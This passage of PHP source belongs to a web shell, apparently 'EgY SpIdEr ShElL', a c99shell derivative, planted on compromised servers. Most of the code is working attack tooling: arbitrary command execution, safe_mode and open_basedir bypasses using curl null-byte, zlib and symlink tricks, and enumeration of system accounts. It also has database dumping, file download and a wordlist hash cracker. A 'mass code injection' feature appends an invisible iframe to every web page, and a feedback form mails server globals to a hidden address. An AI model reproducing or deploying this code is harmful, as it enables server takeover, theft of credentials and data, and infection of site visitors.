924 for($i=0;$i<$this->num_rows;$i++)
925 {
926 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
927 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
928 }
929 break;
930 case 'Oracle':
931 $this->dump[0] = '## ORACLE dump';
932 if($this->query('SELECT * FROM '.$table)!=1) return 0;
933 if(!$this->get_result()) return 0;
934 for($i=0;$i<$this->num_rows;$i++)
935 {
936 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
937 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
938 }
939 break;
940 case 'MySQLi':
941 $this->dump[0] = '## MySQLi dump';
942 if($this->query('SELECT * FROM '.$table)!=1) return 0;
943 if(!$this->get_result()) return 0;
944 for($i=0;$i<$this->num_rows;$i++)
945 {
946 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysqli_real_escape_string($v);}
947 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
948 }
949 break;
950 case 'mSQL':
951 $this->dump[0] = '## mSQL dump';
952 if($this->query('SELECT * FROM '.$table)!=1) return 0;
953 if(!$this->get_result()) return 0;
954 for($i=0;$i<$this->num_rows;$i++)
955 {
956 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
957 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
958 }
959 break;
960 case 'SQLite':
961 $this->dump[0] = '## SQLite dump';
962 if($this->query('SELECT * FROM '.$table)!=1) return 0;
963 if(!$this->get_result()) return 0;
964 for($i=0;$i<$this->num_rows;$i++)
965 {
966 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
967 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
968 }
969 break;
970 default:
971 return 0;
972 break;
973 }
974 return 1;
975 }
976 function close()
977 {
978 switch($this->db)
979 {
980 case 'MySQL':
981 @mysql_close($this->connection);
982 break;
983 case 'MSSQL':
984 @mssql_close($this->connection);
985 break;
986 case 'PostgreSQL':
987 @pg_close($this->connection);
988 break;
989 case 'Oracle':
990 @oci_close($this->connection);
991 break;
992 case 'MySQLi':
993 @mysqli_close($this->connection);
994 break;
995 case 'mSQL':
996 @msql_close($this->connection);
997 break;
998 case 'SQLite':
999 @sqlite_close($this->connection);
1000 break;
1001 }
1002 }
1003 function affected_rows()
1004 {
1005 switch($this->db)
1006 {
1007 case 'MySQL':
1008 return @mysql_affected_rows($this->res);
1009 break;
1010 case 'MSSQL':
1011 return @mssql_affected_rows($this->res);
1012 break;
1013 case 'PostgreSQL':
1014 return @pg_affected_rows($this->res);
1015 break;
1016 case 'Oracle':
1017 return @ocirowcount($this->res);
1018 break;
1019 case 'MySQLi':
1020 return @mysqli_affected_rows($this->res);
1021 break;
1022 case 'mSQL':
1023 return @msql_affected_rows($this->res);
1024 break;
1025 case 'SQLite':
1026 return @sqlite_changes($this->res);
1027 break;
1028 default:
1029 return 0;
1030 break;
1031 break;
1032case 'cURL':
1033 if(empty($_POST['egy_spider'])){
1034
1035
1036} else {
1037$curl=$_POST['egy_spider'];
1038$ch =curl_init("file:///".$curl."\x00/../../../../../../../../../../../../".__FILE__);
1039curl_exec($ch);
1040var_dump(curl_exec($ch));
1041echo "</textarea></CENTER>";
1042
1043}
1044break;
1045case 'copy':
1046
1047if(empty($snn)){
1048if(empty($_GET['snn'])){
1049if(empty($_POST['snn'])){
1050
1051} else {
1052$u1p=$_POST['snn'];
1053}
1054} else {
1055$u1p=$_GET['snn'];
1056}
1057}
1058 $u1p=""; // File to Include... or use _GET _POST
1059$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp
1060
1061
1062$temp=tempnam($tymczas, "cx");
1063
1064if(copy("compress.zlib://".$snn, $temp)){
1065$zrodlo = fopen($temp, "r");
1066$tekst = fread($zrodlo, filesize($temp));
1067fclose($zrodlo);
1068echo "".htmlspecialchars($tekst)."";
1069unlink($temp);
1070echo "</textarea></CENTER>";
1071}
1072break;
1073case 'ini_restore':
1074 if(empty($_POST['ini_restore'])){
1075} else {
1076
1077$ini=$_POST['ini_restore'];
1078echo ini_get("safe_mode");
1079echo ini_get("open_basedir");
1080require_once("$ini");
1081ini_restore("safe_mode");
1082ini_restore("open_basedir");
1083echo ini_get("safe_mode");
1084echo ini_get("open_basedir");
1085include($_GET["egy"]);
1086echo "</textarea></CENTER>";
1087}
1088break;
1089case 'glob':
1090function reg_glob()
1091{
1092$chemin=$_REQUEST['glob'];
1093$files = glob("$chemin*");
1094
1095
1096foreach ($files as $filename) {
1097
1098 echo "$filename\n";
1099
1100}
1101}
1102
1103if(isset($_REQUEST['glob']))
1104{
1105reg_glob();
1106}
1107
1108break;
1109 case 'sym1':
1110 if(empty($_POST['sym1p'])){
1111 } else {
1112$symp=$_POST['sym1p'];
1113 }
1114 if(empty($_POST['sym1p2'])){
1115
1116} else {
1117$symp2=$_POST['sym1p2'];
1118
1119 symlink("a/a/a/a/a/a/", "dummy");
1120symlink("dummy".$symp2."".$symp."", "xxx");
1121unlink("dummy");
1122while (1) {
1123symlink(".", "dummy");
1124
1125 }
1126 }
1127 break;
1128 case 'sym2':
1129 @include(xxx);
1130
1131 break;
1132 case 'plugin':
1133 if ($_POST['plugin'] ){
1134
1135
1136 for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
1137 $ara = posix_getpwuid($uid);
1138 if (!empty($ara)) {
1139 while (list ($key, $val) = each($ara)){
1140 print "$val:";
1141 }
1142 print "\n";
1143 }
1144 }
1145 echo "</textarea>";
1146 }
1147
1148 }
1149 }
1150 }
1151if(isset($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
1152 {
1153 if($file=moreread($_POST['d_name'])){ $filedump = $file; }
1154 else if ($file=readzlib($_POST['d_name'])) { $filedump = $file; } else { err(1,$_POST['d_name']); $_POST['cmd']=""; }
1155 if(!empty($_POST['cmd']))
1156 {
1157 @ob_clean();
1158 $filename = @basename($_POST['d_name']);
1159 $content_encoding=$mime_type='';
1160 compress($filename,$filedump,$_POST['compress']);
1161 if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
1162 header("Content-type: ".$mime_type);
1163 header("Content-disposition: attachment; filename=\"".$filename."\";");
1164 echo $filedump;
1165 exit();
1166 }
1167 }
1168if(isset($_GET['1'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); }
1169if (isset($_POST['cmd']) && $_POST['cmd']=="db_query")
1170 {
1171 echo $head;
1172 $sql = new my_sql();
1173 $sql->db = $_POST['db'];
1174 $sql->host = $_POST['db_server'];
1175 $sql->port = $_POST['db_port'];
1176 $sql->user = $_POST['mysql_l'];
1177 $sql->pass = $_POST['mysql_p'];
1178 $sql->base = $_POST['mysql_db'];
1179 $querys = @explode(';',$_POST['db_query']);
1180 echo '<body bgcolor=#e4e0d8>';
1181 if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
1182 else
1183 {
1184 if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
1185 else
1186 {
1187 foreach($querys as $num=>$query)
1188 {
1189 if(strlen($query)>5)
1190 {
1191 echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
1192 switch($sql->query($query))
1193 {
1194 case '0':
1195 echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
1196 break;
1197 case '1':
1198 if($sql->get_result())
1199 {
1200 echo "<table width=100%>";
1201 foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
1202 $keys = @implode(" </b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b> ", $sql->columns);
1203 echo "<tr><td bgcolor=#333333><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
1204 for($i=0;$i<$sql->num_rows;$i++)
1205 {
1206 foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
1207 $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$sql->rows[$i]);
1208 echo '<tr><td><font face=Verdana size=-2> '.$values.' </font></td></tr>';
1209 }
1210 echo "</table>";
1211 }
1212 break;
1213 case '2':
1214 $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
1215 echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
1216 break;
1217 }
1218 }
1219 }
1220 }
1221 }
1222 echo "<br><form name=form method=POST>";
1223 echo in('hidden','db',0,$_POST['db']);
1224 echo in('hidden','db_server',0,$_POST['db_server']);
1225 echo in('hidden','db_port',0,$_POST['db_port']);
1226 echo in('hidden','mysql_l',0,$_POST['mysql_l']);
1227 echo in('hidden','mysql_p',0,$_POST['mysql_p']);
1228 echo in('hidden','mysql_db',0,$_POST['mysql_db']);
1229 echo in('hidden','cmd',0,'db_query');
1230 echo "<div align=center>";
1231 echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
1232 echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
1233 echo "</form>";
1234 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die();
1235 }
1236if(isset($_GET['12']))
1237 {
1238 @unlink(__FILE__);
1239 }
1240if(isset($_GET['11']))
1241 {
1242 @unlink($tempdir.'bdpl');
1243 @unlink($tempdir.'back');
1244 @unlink($tempdir.'bd');
1245 @unlink($tempdir.'bd.c');
1246 @unlink($tempdir.'dp');
1247 @unlink($tempdir.'dpc');
1248 @unlink($tempdir.'dpc.c');
1249 @unlink($tempdir.'prxpl');
1250 @unlink($tempdir.'grep.txt');
1251 }
1252if(isset($_GET['2']))
1253{
1254echo $head;
1255function U_value($value)
1256 {
1257 if ($value == '') return '<i>no value</i>';
1258 if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
1259 if ($value === null) return 'NULL';
1260 if (@is_object($value)) $value = (array) $value;
1261 if (@is_array($value))
1262 {
1263 @ob_start();
1264 print_r($value);
1265 $value = @ob_get_contents();
1266 @ob_end_clean();
1267 }
1268 return U_wordwrap((string) $value);
1269 }
1270function U_wordwrap($str)
1271 {
1272 $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
1273 return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
1274 }
1275if (@function_exists('ini_get_all'))
1276 {
1277 $r = '';
1278 echo '<table width=100%>', '<tr><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
1279 foreach (@ini_get_all() as $key=>$value)
1280 {
1281 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
1282 }
1283 echo $r;
1284 echo '</table>';
1285 }
1286echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
1287die();
1288}
1289if(isset($_GET['3']))
1290 {
1291 echo $head;
1292 echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
1293 $cpuf = @file("cpuinfo");
1294 if($cpuf)
1295 {
1296 $c = @sizeof($cpuf);
1297 for($i=0;$i<$c;$i++)
1298 {
1299 $info = @explode(":",$cpuf[$i]);
1300 if($info[1]==""){ $info[1]="---"; }
1301 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
1302 }
1303 echo $r;
1304 }
1305 else
1306 {
1307 echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
1308 }
1309 echo '</table>';
1310 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
1311 die();
1312 }
1313if(isset($_GET['4']))
1314 {
1315 echo $head;
1316 echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
1317 $memf = @file("meminfo");
1318 if($memf)
1319 {
1320 $c = sizeof($memf);
1321 for($i=0;$i<$c;$i++)
1322 {
1323 $info = explode(":",$memf[$i]);
1324 if($info[1]==""){ $info[1]="---"; }
1325 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
1326 }
1327 echo $r;
1328 }
1329 else
1330 {
1331 echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
1332 }
1333 echo '</table>';
1334 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
1335 die();
1336 }
1337
1338
1339
1340
1341 if(isset($_GET['tool'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); }
1342 if(isset($_GET['tools'])) { /*###########################################
1343code 2
1344###########################################*/
1345?>
1346<html>
1347<head><title>EgY SpIdEr ShElL</title></head>
1348<STYLE>
1349
1350BODY
1351 {
1352 SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
1353}
1354
1355table {
1356BORDER: #eeeeee outset;
1357BACKGROUND-COLOR: #000000;
1358color: #dadada;
1359}
1360input {
1361BORDER-RIGHT: #00FF00 1 solid;
1362BORDER-TOP: #00FF00 1 solid;
1363BORDER-LEFT: #00FF00 1 solid;
1364BORDER-BOTTOM: #00FF00 1 solid;
1365BACKGROUND-COLOR: #333333;
1366font: 9pt tahoma;
1367color: #ffffff;
1368}
1369
1370submit {
1371BORDER: buttonhighlight 1 outset;
1372BACKGROUND-COLOR: #272727;
1373width: 40%;
1374color: #dadada;
1375}
1376textarea {
1377BORDER-RIGHT: #ffffff 1 solid;
1378BORDER-TOP: #999999 1 solid;
1379BORDER-LEFT: #999999 1 solid;
1380BORDER-BOTTOM: #ffffff 1 solid;
1381BACKGROUND-COLOR: #333333;
1382font: Fixedsys bold;
1383color: #ffffff;
1384}
1385BODY {
1386margin: 1;
1387color: #dadada;
1388background-color: #000000;
1389}
1390A:link {COLOR:red; TEXT-DECORATION: none}
1391A:visited { COLOR:red; TEXT-DECORATION: none}
1392A:active {COLOR:red; TEXT-DECORATION: none}
1393A:hover {color:blue;TEXT-DECORATION: none}
1394
1395</STYLE>
1396</body>
1397</html>
1398<?
1399$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();
1400$sf="<form method=post>";$ef="</form>";
1401$st="<table style=\"border:1px #dadada solid \" width=100% height=100%>";
1402$et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">";
1403$c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>";
1404$sta="<textarea cols=157 rows=23>";$eta="</textarea>";
1405$sfnt="<font face=tahoma size=2 color=#008080>";$efnt="</font>";
1406error_reporting(0);
1407set_magic_quotes_runtime(0);
1408
1409if(version_compare(phpversion(), '4.1.0') == -1)
1410 {$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS;
1411 $_SERVER = &$HTTP_SERVER_VARS;
1412 }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"];
1413if (strstr ($requ,$link)){return preg_replace("/$link=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}
1414elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;}
1415else{return $requ."?".$link."=".$val;}}
1416function delm($delmtxt){print"<center><table bgcolor=black style='border:1px solid olive' width=99% height=2%>";print"<tr><td><b><center><font size=2 color=olive>$delmtxt</td></tr></table></center>";}
1417function callfuncs($cmnd){if (function_exists(shell_exec)){$scmd=shell_exec($cmnd);
1418$nscmd=htmlspecialchars($scmd);print $nscmd;}
1419elseif(!function_exists(shell_exec)){exec($cmnd,$ecmd);
1420$ecmd = join("\n",$ecmd);$necmd=htmlspecialchars($ecmd);print $necmd;}
1421elseif(!function_exists(exec)){$pcmd = popen($cmnd,"r");
1422while (!feof($pcmd)){ $res = htmlspecialchars(fgetc($pcmd));;
1423print $res;}pclose($pcmd);}elseif(!function_exists(popen)){
1424ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){
1425ob_start();passthru($cmnd);$pret = ob_get_contents();ob_clean();
1426print htmlspecialchars($pret);}}
1427function input($type,$name,$value,$size)
1428{if (empty($value)){print "<input type=$type name=$name size=$size>";}
1429elseif(empty($name)&&empty($size)){print "<input type=$type value=$value >";}
1430elseif(empty($size)){print "<input type=$type name=$name value=$value >";}
1431else {print "<input type=$type name=$name value=$value size=$size >";}}
1432function permcol($path){if (is_writable($path)){print "<font color=olive>";
1433callperms($path); print "</font>";}
1434elseif (!is_readable($path)&&!is_writable($path)){print "<font color=red>";
1435callperms($path); print "</font>";}
1436else {print "<font color=white>";callperms($path);}}
1437if ($dlink=="dwld"){download($_REQUEST['dwld']);}
1438function download($dwfile) {$size = filesize($dwfile);
1439@header("Content-Type: application/force-download;name=$dwfile");
1440@header("Content-Transfer-Encoding: binary");
1441@header("Content-Length: $size");
1442@header("Content-Disposition: attachment; filename=$dwfile");
1443@header("Expires: 0");
1444@header("Cache-Control: no-cache, must-revalidate");
1445@header("Pragma: no-cache");
1446@readfile($dwfile); exit;}
1447?>
1448<?
1449$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();
1450
1451$sf="<form method=post>";$ef="</form>";
1452$st="<table style=\"border:1px #dadada solid \" width=100% height=100%>";
1453$et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">";
1454$c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>";
1455$sta="<textarea cols=157 rows=23>";$eta="</textarea>";
1456$sfnt="<font face=tahoma size=2 color=olive>";$efnt="</font>";
1457################# Ending of common variables ########################
1458
1459print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<b><center><font face=tahoma color=white size=4>
1460</font></b></center>"; print"</td></tr>";print"</table>";print "<br>";
1461print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<center><div><b>";print "";
1462
1463if ($act == 'encoder')
1464{
1465 echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
1466 foreach(array("md5","crypt","sha1","crc32") as $v)
1467 {
1468 echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
1469 }
1470 echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
1471 <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
1472 <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
1473 echo "<center>base64_decode - ";
1474 if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
1475 else
1476 {
1477 $debase64 = base64_decode($encoder_input);
1478 $debase64 = str_replace("\0","[0]",$debase64);
1479 $a = explode("\r\n",$debase64);
1480 $rows = count($a);
1481 $debase64 = htmlspecialchars($debase64);
1482 if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
1483 else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
1484 echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
1485 }
1486 echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
1487 $c = strlen($encoder_input);
1488 for($i=0;$i<$c;$i++)
1489 {
1490 $hex = dechex(ord($encoder_input[$i]));
1491 if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
1492 elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
1493 }
1494 echo "\" readonly><br></form>";
1495
1496?>
1497</center>
1498<br><br>
1499<table border=0 align=center cellpadding=4>
1500<tr><td>
1501<center><b>Search milw0rm for MD5 hash</b></center>
1502</td><td>
1503<center><b>Search md5encryption.com for MD5 or SHA1 hash</b></center>
1504</td><td>
1505<center><b>Search CsTeam for MD5 hash</b></center>
1506</td></tr>
1507<tr><td>
1508<center>
1509<form target="_blank" action="http://www.milw0rm.com/cracker/search.php" method=POST>
1510<input type=text size=40 name=hash> <input type=submit value="Submit"></form>
1511</center>
1512</td><td>
1513<center>
1514<form target="_blank" action="http://www.md5encryption.com/?mod=decrypt" method=POST>
1515<input type=text size=40 name=hash2word> <input type=submit value="Submit"></form>
1516</center>
1517</td><td>
1518<center>
1519<form target="_blank" action="http://www.csthis.com/md5/index.php" method=POST>
1520<input type=text size=40 name=h> <input type=submit value="Submit"></form>
1521</center>
1522</td></tr>
1523</table>
1524<br>
1525<center>
1526<?php
1527// my wordlist cracker ^_^
1528if (isset($_GET['hash']) && isset($_GET['wordlist']) && ($_GET['type'] == 'md5' || $_GET['type'] == 'sha1')) {
1529 $type = $_GET['type'];
1530 $hash = $_GET['hash'];
1531 $count = 1;
1532 $wordlist = file($_GET['wordlist']);
1533 $words = count($wordlist);
1534 foreach ($wordlist as $word) {
1535 echo $count.' of '.$words.': '.$word.'<br>';
1536 if ($hash == $type(rtrim($word))) {
1537 echo '<font color=red>Great success! The password is: '.$word.'</font><br>';
1538 exit;
1539 }
1540 ++$count;
1541 }
1542}
1543
1544}
1545if ($act == 'fsbuff')
1546{
1547 $arr_copy = $sess_data["copy"];
1548 $arr_cut = $sess_data["cut"];
1549 $arr = array_merge($arr_copy,$arr_cut);
1550 if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
1551 else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
1552}
1553if ($act == "selfremove")
1554{
1555 if (($submit == $rndcode) and ($submit != ""))
1556 {
1557 if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); }
1558 else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
1559 }
1560 else
1561 {
1562 if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
1563 $rnd = rand(0,9).rand(0,9).rand(0,9);
1564 echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>: <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit> <input type=submit value=\"YES\"></form>";
1565 }
1566}
1567if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}}
1568if ($act == "feedback")
1569{
1570 $suppmail = base64_decode("ZWd5X3NwaWRlckBob3RtYWlsLmNvbQ==");
1571 if (!empty($submit))
1572 {
1573 $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
1574 $body = "egy_spider v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\nE-server: ".htmlspecialchars($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars($_SERVER["SERVER_NAME"])."\n\nIP: ".$REMOTE_ADDR;
1575 if (!empty($fdbk_ref))
1576 {
1577 $tmp = @ob_get_contents();
1578 ob_clean();
1579 phpinfo();
1580 $phpinfo = base64_encode(ob_get_contents());
1581 ob_clean();
1582 echo $tmp;
1583 $body .= "\ni"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
1584 }
1585 mail($suppmail,"egy_spider v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
1586 echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
1587 }
1588 else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>If you want to send a request for any help I know I will respond to you in case <br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: Arbic, English.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
1589}
1590
1591if ($act == 'massbrowsersploit') {
1592?>
1593<b>Mass Code Injection:</b><br><br>
1594Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.<br><br>
1595<form action="<?php echo $surl; ?>" method=GET>
1596<input type=hidden name="masssploit" value="goahead">
1597<input type=hidden name="act" value="massbrowsersploit">
1598<table border=0>
1599<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr>
1600<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<IFRAME src="http://www.egyspider.eu" width=0 height=0 frameborder=0></IFRAME>'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr>
1601<tr><td><input type=submit value="Inject Code"></td></tr>
1602</table>
1603</form>
1604<?php
1605if ($_GET['masssploit'] == 'goahead') {
1606 if (is_dir($_GET['pathtomass'])) {
1607 $lolinject = $_GET['injectthis'];
1608 foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) {
1609 $fp=fopen($injectj00,"a+");
1610 if (fputs($fp,$lolinject)){
1611 echo $injectj00.' was injected<br>';
1612 } else {
1613 echo '<font color=red>failed to inject '.$injectj00.'</font>';
1614 }
1615 }
1616 foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) {
1617 $fp=fopen($injectj00,"a+");
1618 if (fputs($fp,$lolinject)){
1619 echo $injectj00.' was injected<br>';
1620 } else {
1621 echo '<font color=red>failed to inject '.$injectj00.'</font>';
1622 }
1623 }
1624 foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) {
1625 $fp=fopen($injectj00,"a+");
1626 if (fputs($fp,$lolinject)){
